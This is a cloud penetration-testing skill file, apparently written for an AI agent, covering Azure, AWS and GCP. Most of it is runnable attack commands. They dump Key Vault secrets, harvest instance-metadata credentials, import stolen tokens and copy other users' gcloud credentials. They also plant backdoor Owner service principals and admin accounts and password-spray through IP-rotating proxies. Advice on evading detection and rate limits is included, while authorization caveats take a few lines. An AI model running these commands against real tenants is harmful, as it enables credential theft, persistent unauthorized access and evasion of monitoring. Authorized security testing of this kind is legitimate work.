| name | Cloud Penetration Testing |
| description | This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms. |
| metadata | {"author":"zebbern","version":"1.1"} |
Cloud Penetration Testing
Purpose
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
Prerequisites
Required Tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install
curl https://sdk.cloud.google.com | bash
gcloud init
pip install scoutsuite pacu
Required Knowledge
- Cloud architecture fundamentals
- Identity and Access Management (IAM)
- API authentication mechanisms
- DevOps and automation concepts
Required Access
- Written authorization for testing
- Test credentials or access tokens
- Defined scope and rules of engagement
Outputs and Deliverables
- Cloud Security Assessment Report - Comprehensive findings and risk ratings
- Resource Inventory - Enumerated services, storage, and compute instances
- Credential Findings - Exposed secrets, keys, and misconfigurations
- Remediation Recommendations - Hardening guidance per platform
Core Workflow
Phase 1: Reconnaissance
Gather initial information about target cloud presence:
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
python3 cloud_enum.py -k targetcompany
cat ips.txt | python3 ip2provider.py
Phase 2: Azure Authentication
Authenticate to Azure environments:
# Az PowerShell Module
Import-Module Az
Connect-AzAccount
# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential
# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'
# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json
# MSOnline Module
Import-Module MSOnline
Connect-MsolService
Phase 3: Azure Enumeration
Discover Azure resources and permissions:
# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription
# Current user role assignments
Get-AzRoleAssignment
# List resources
Get-AzResource
Get-AzResourceGroup
# Storage accounts
Get-AzStorageAccount
# Web applications
Get-AzWebApp
# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile
# List all users
Get-MSolUser -All
# List all groups
Get-MSolGroup -All
# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID
# Service Principals
Get-MsolServicePrincipal
Phase 4: Azure Exploitation
Exploit Azure misconfigurations:
# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
$props = @()
$user | Get-Member | foreach-object{$props+=$_.Name}
foreach($prop in $props){
if($user.$prop -like "*password*"){
Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
}
}
}
# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
# Extract VM UserData
$vms = Get-AzVM
$vms.UserData
# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>
Phase 5: Azure Persistence
Establish persistence in Azure:
# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
# Login as service principal
$cred = Get-Credential # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
Phase 6: AWS Authentication
Authenticate to AWS environments:
aws configure
aws configure --profile target
aws sts get-caller-identity
Phase 7: AWS Enumeration
Discover AWS resources:
aws sts get-caller-identity
aws iam list-users
aws iam list-roles
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir
aws ec2 describe-instances
aws rds describe-db-instances --region us-east-1
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>
aws eks list-clusters --region us-east-1
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections
Phase 8: AWS Exploitation
Exploit AWS misconfigurations:
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
Phase 9: AWS Persistence
Establish persistence in AWS:
aws iam list-access-keys --user-name <username>
aws iam create-access-key --user-name <username>
for region in $(cat regions.txt); do
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done
Phase 10: GCP Enumeration
Discover GCP resources:
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list
gcloud config list
gcloud organizations list
gcloud projects list
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>
gcloud services list
gcloud source repos list
gcloud source repos clone <repo>
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local
gcloud sql instances list
gcloud sql databases list --instance <id>
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info
Phase 11: GCP Exploitation
Exploit GCP misconfigurations:
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list
Quick Reference
Azure Key Commands
| Action | Command |
|---|
| Login | Connect-AzAccount |
| List subscriptions | Get-AzSubscription |
| List users | Get-MsolUser -All |
| List groups | Get-MsolGroup -All |
| Current roles | Get-AzRoleAssignment |
| List VMs | Get-AzVM |
| List storage | Get-AzStorageAccount |
| Key Vault secrets | az keyvault secret list --vault-name <name> |
AWS Key Commands
| Action | Command |
|---|
| Configure | aws configure |
| Caller identity | aws sts get-caller-identity |
| List users | aws iam list-users |
| List S3 buckets | aws s3 ls |
| List EC2 | aws ec2 describe-instances |
| List Lambda | aws lambda list-functions |
| Metadata | curl http://169.254.169.254/latest/meta-data/ |
GCP Key Commands
| Action | Command |
|---|
| Login | gcloud auth login |
| List projects | gcloud projects list |
| List instances | gcloud compute instances list |
| List buckets | gsutil ls |
| List clusters | gcloud container clusters list |
| IAM policy | gcloud projects get-iam-policy <project> |
| Metadata | curl -H "Metadata-Flavor: Google" http://metadata.google.internal/... |
Metadata Service URLs
| Provider | URL |
|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
| Azure | http://169.254.169.254/metadata/instance?api-version=2018-02-01 |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
Useful Tools
| Tool | Purpose |
|---|
| ScoutSuite | Multi-cloud security auditing |
| Pacu | AWS exploitation framework |
| AzureHound | Azure AD attack path mapping |
| ROADTools | Azure AD enumeration |
| WeirdAAL | AWS service enumeration |
| MicroBurst | Azure security assessment |
| PowerZure | Azure post-exploitation |
Constraints and Limitations
Legal Requirements
- Only test with explicit written authorization
- Respect scope boundaries between cloud accounts
- Do not access production customer data
- Document all testing activities
Technical Limitations
- MFA may prevent credential-based attacks
- Conditional Access policies may restrict access
- CloudTrail/Activity Logs record all API calls
- Some resources require specific regional access
Detection Considerations
- Cloud providers log all API activity
- Unusual access patterns trigger alerts
- Use slow, deliberate enumeration
- Consider GuardDuty, Security Center, Cloud Armor
Examples
Example 1: Azure Password Spray
Scenario: Test Azure AD password policy
# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
Example 2: AWS S3 Bucket Enumeration
Scenario: Find and access misconfigured S3 buckets
aws s3 ls | awk '{print $3}' > buckets.txt
while read bucket; do
echo "Checking: $bucket"
aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt
aws s3 sync s3://misconfigured-bucket ./loot/
Example 3: GCP Service Account Compromise
Scenario: Pivot using compromised service account
gcloud auth activate-service-account --key-file compromised-sa.json
gcloud projects list
gcloud compute instances list --project target-project
gcloud compute project-info describe --project target-project | grep ssh
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
Troubleshooting
| Issue | Solutions |
|---|
| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
| Permission denied | List current roles; try different resources; check resource policies; verify region |
| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
References
- Advanced Cloud Scripts - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation